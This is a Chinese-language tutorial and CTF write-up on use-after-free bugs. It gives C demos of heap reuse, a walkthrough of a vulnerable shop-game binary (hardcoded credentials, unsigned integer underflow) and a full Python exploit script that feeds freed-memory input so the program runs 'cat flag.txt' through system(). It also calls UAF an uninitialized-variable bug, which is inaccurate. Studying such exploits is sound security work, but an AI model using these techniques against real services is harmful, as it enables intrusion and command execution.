安全漏洞--释放重引用(UAF)漏洞分析
来源:互联网 发布:软件试运行报告 编辑:程序博客网 时间:2024/06/05 18:59
一 漏洞简介
未初始化漏洞(UAF)一般是指堆栈变量没有设置就使用导致,或者可能更多的是部分初始化导致。
释放后再用漏洞是堆上的数据被释放后,某个残留地址没清除再用导致。其实就是未初始化漏洞。
二 原理分析
windows系统测试代码
#include <stdio.h>#include <malloc.h>int main(int argc, char * argv[]){char * buf1=(char*)malloc(2048);printf("buf1 : 0x%08x\n",(int)buf1);char * buf2=(char*)malloc(2048);printf("buf2 : 0x%08x\n",(int)buf2);free(buf2);char * buf3=(char*)malloc(2048);printf("buf3 : 0x%08x\n",(int)buf3);return 0; }
大家仔细观察代码,发现buf3和buf2的指针地址竟然一样。这个可是不同的内存申请,
虽然指针buf3是新分配的内存,但是我们发现指针与之前释放的buf2上面的内存地址一样。
地址是同一个地址,数据呢?由于没有对指针竟然释放后设置为NULL,同时也没有清理
内存的数据比如zeromemory,memset等。因此潜在的隐患就产生在此处内存区域。
linux系统测试代码
#include <stdio.h>#include <string.h>#include <stdlib.h>int main(int argc, char *argv[]){char * buf1 = (char*) malloc(2048);char * buf2 = (char*) malloc(2048);char * buf3 = (char*) malloc(2048);char * buf4 = (char*) malloc(2048);char * buf5 = (char*) malloc(2048);memcpy(buf3, "123456helloworld", strlen("123456helloworld"));memcpy(buf5, "1234567890*1234567890*1234567890*",strlen("1234567890*1234567890*1234567890*"));printf("buf1 before : 0x%08x\n", (int) buf1);printf("buf2 before : 0x%08x\n", (int) buf2);printf("buf3 before : 0x%08x\n", (int) buf3);printf("buf4 before : 0x%08x\n", (int) buf4);printf("buf5 before : 0x%08x\n", (int) buf5);printf("\n--------------------------------------------\n");for (int i = 0; i < strlen("123456helloworld"); i++){printf("%c ", (char) buf3[i]);}printf("\n");for (int i = 0; i < strlen("123456helloworld"); i++){printf("0x%02x ", (char) buf3[i]);}printf("\n---------------------------------------------\n");free(buf3);char * buf6 = (char*) malloc(2048);printf("\n---------------------------------------------\n");printf("buf3 after : 0x%08x\n", (int) buf3);printf("\n");for (int i = 0; i < strlen("123456helloworld"); i++){printf("0x%02x ", (char) buf3[i]);}printf("\n---------------------------------------------\n");printf("buf6 before : 0x%08x\n", (int) buf6);printf("\n---------------------------------------------\n");for (int i = 0; i < strlen("123456helloworld"); i++){printf("%c ", (char) buf6[i]);}printf("\n");for (int i = 0; i < strlen("123456helloworld"); i++){printf("0x%02x ", (char) buf6[i]);}printf("\n---------------------------------------------\n");free(buf5);char * buf7 = (char*) malloc(2048);printf("buf7 before : 0x%08x\n", (int) buf7);memcpy(buf7, "hello", strlen("hello"));free(buf7);printf("buf7 after : 0x%08x\n", (int) buf7);free(buf6);printf("buf6 after : 0x%08x\n", (int) buf6);return 0;}
linux 32位系统gcc 编译后,运行的结果。
大家仔细观察代码,发现buf6和buf3的指针地址竟然一样。同样大家注意红色标记的
内存数据都一样。说明使用完之后,没有释放,形成当前看到的滞留缓存代码数据。
原理也同上面。
三 漏洞测试
当应用程序调用free()释放内存时,如果内存块小于256kb,dlmalloc并不马上将内存块释放回内存,
而是将内存块标记为空闲状态。这么做的原因有两个:一是内存块不一定能马上释放会内核(比如
内存块不是位于堆顶端),二是供应用程序下次申请内存使用(这是主要原因)。当dlmalloc中空闲
内存量达到一定值时dlmalloc才将空闲内存释放会内核。如果应用程序申请的内存大于256kb,
dlmalloc调用mmap()向内核申请一块内存,返回返还给应用程序使用。如果应用程序释放的内存
大于256kb,dlmalloc马上调用munmap()释放内存。dlmalloc不会缓存大于256kb的内存块,因为
这样的内存块太大了,最好不要长期占用这么大的内存资源。好的,理解了这个漏洞的出现原因,
那么我们来实战一道CTF题目。
题目下载链接
运行检测一下,发现32位。
运行第一部需要密码登录。
好的。进入逆向分析阶段IDA +F5 ,为了便于可读部分伪代码进行了
注释和函数变量重命名。我们先不着急进行程序的破解,先进行整体
的逻辑分析。查看此程序的大概功能是什么。
注意此处有大量分配内存函数。
此处注意有很多分支选项函数。
上面可以看的见,好像是一个买东西卖东西的小游戏。
其中蕴含的考点,暂时看不透。
先看看有什么关键函数或者字符之类的。
此处循环下面有个checkdollor函数。发现有system和puts函数。这两个函数很关键,
因为经常做逆向题目的都知道,这个是个系统命令执行函数,puts可以输出结果。
如果我们能够在此处执行命令应该就可以获取我们想要的结果,然后再看看此处
进入之后的执行条件。
1 login函数必须认证通过,否则返回。
2 比较条件 *V1==49 //0x31 "1"
3 美元的数量满足dollors >1000
4 执行的命令是commanda指针指向的内存区域代码。//commanda是command指针进行了后移10个字节。
那么我们先来一步一步解决
第一步 login函数:
此处代码可以看到成功登录的账号密码是rot和123456
第二步*V1==49
那么我们只需要到时候输入数据的时候,
记得command的内存区域第十个字符是1即可。
第三步dollors>1000
此处的这个dollors我们发现初始化的时候是15
那么我们看看这个dollors在那些地方被引用,被操作。
在这函数有运算,而且是dollors=dollors-3;
注意此处的数字比较小跟1000这个比起来很大。
所以通过前面的买卖实现数据运算。
买一个苹果需要3美金,卖一个收获2美金。
就是这样一个买卖游戏。
好好思考,前面曾经讲到过整数溢出的情况。
此处要实现大于15美金最后变成大于1000美金。
不依靠溢出漏洞,靠买卖只会越来越少,因为买花去的多,卖赚到的少。
经过思考得出一种解决方案(当然买卖有很多种情况都能实现溢出)
类似于汉诺塔一样,来回倒。
1 买上五次,手里dollors=0
2 但是苹果appleHave=5
3 然后我们再卖掉一个苹果
4 applecHave=4
5 dollors=2
6 最后我们在买一个苹果
7 dollors=2-3变成了-1由于是无符号整数,实现了溢出。
第四步 执行的命令是commanda
注意申请的内存数据变化
我们看到有内存的分配malloc函数。有一个leaveMessage函数,发现允许用户输入数据。
checkdollor函数里面包含有执行指令。想想刚才上面给大家讲的释放重引用漏洞,也就
是未初始化漏洞。我们可以在第一malloc函数内存区域写入特殊数据,到了第二个函数
checkdollor里面出现了二次分配引用,可以执行,从第十一字节开始。综合以上四步,
我们构思编写出对应的explicit程序。
四 漏洞利用
exploit代码如下:
'''Created on Nov 9, 2016@author: 5t4rk'''#-*- coding: utf-8 -*-import socketimport timeclass pwn_exploit: HOST='192.168.138.133' PORT=12345 BUFSIZ=1024 ADDR=(HOST, PORT) def __init__(self): try: self.client=socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.client.connect(self.ADDR) self.client.settimeout(3) time.sleep(1) recvData=self.client.recv(self.BUFSIZ) print recvData.strip() self.client.send("rot\n") print "rot" time.sleep(1) recvData=self.client.recv(self.BUFSIZ) print recvData.strip() self.client.send("123456\n") print "123456" time.sleep(1) recvData=self.client.recv(self.BUFSIZ) print recvData.strip() self.client.send("1\n") print "1" time.sleep(1) recvData=self.client.recv(self.BUFSIZ) print recvData.strip() self.client.send("1\n") print "1" time.sleep(1) recvData=self.client.recv(self.BUFSIZ) print recvData.strip() self.client.send("1\n") print "1" time.sleep(1) recvData=self.client.recv(self.BUFSIZ) print recvData.strip() self.client.send("1\n") print "1" time.sleep(1) recvData=self.client.recv(self.BUFSIZ) print recvData.strip() self.client.send("1\n") print "1" time.sleep(1) recvData=self.client.recv(self.BUFSIZ) print recvData.strip() self.client.send("2\n") print "2" time.sleep(1) recvData=self.client.recv(self.BUFSIZ) print recvData.strip() self.client.send("4\n") print "4" time.sleep(1) recvData=self.client.recv(self.BUFSIZ) print recvData.strip() self.client.send("1"*11+"cat flag.txt\n") print "1"*11+"cat flag.txt" time.sleep(1) recvData=self.client.recv(self.BUFSIZ) print recvData.strip() self.client.send("1\n") print "1" time.sleep(1) recvData=self.client.recv(self.BUFSIZ) print recvData.strip() self.client.send("1"*10+"\n") print "1"*10 time.sleep(1) recvData=self.client.recv(self.BUFSIZ) print recvData.strip() except Exception: print "except"if __name__ == '__main__': heart=pwn_exploit()
此题目主要考察了两个主要的漏洞:
UAF释放重引用漏洞和整数溢出漏洞。
flag{you_are_gr3at_for_g3tt1ng_flag}
- 安全漏洞--释放重引用(UAF)漏洞分析
- 漏洞分析之CVE-2012-4792(UAF)
- plaidctf-2016 unix_time_formatter uaf漏洞分析
- CVE-2011-0073浅析-firefox释放重引用漏洞
- CVE-2012-4792浅析-Internet Explorer释放重引用漏洞
- CVE-2015-2545浅析-word释放重引用漏洞
- CVE-2015-2425浅析-Internet Explorer释放重引用漏洞
- CVE-2013-3346&CVE-2013-5065-Adobe Reader释放重引用漏洞+NDProxy.sys数组越界漏洞联合利用恶意样本分析
- CVE 2013-3897 - UAF 漏洞分析学习学习
- UAF (Use After Free)漏洞分析及利用
- CVE-2014-3153浅析-Android内核释放重引用(towelroot)漏洞
- 安全漏洞--字符串格式化(FSV)漏洞分析
- 安全漏洞--整数溢出漏洞(IOV)分析
- UAF (use after free) 漏洞
- 漏洞分析---gotofail:苹果 SSL/TLS 重大安全漏洞的细节
- CVE-2011-0065 Firefox mChannel UAF漏洞
- 漏洞分析---Bash安全漏洞(CVE-2014-6271)技术简析
- windows内核exploit训练项目HackSysExtremeVulnerableDriver(HEVD)-释放重引用
- mongodb使用
- 51nod_1106 质数检测
- 浅析网络编程之AF_INET和PF_INET
- 原型和原型链简单理解
- Android菜鸟进阶之路 TextView的使用
- 安全漏洞--释放重引用(UAF)漏洞分析
- React学习 -- 组件
- scala解析json日志
- linux下调visa库编程
- VS每次编译都重新编译整个工程的解决方案
- 使用ServiceStack.Redis实现Redis数据读写
- 1023. 组个最小数 (20)
- Selenium WebDriver对cookie进行处理绕过登录验证码
- opencv 矩阵行列求和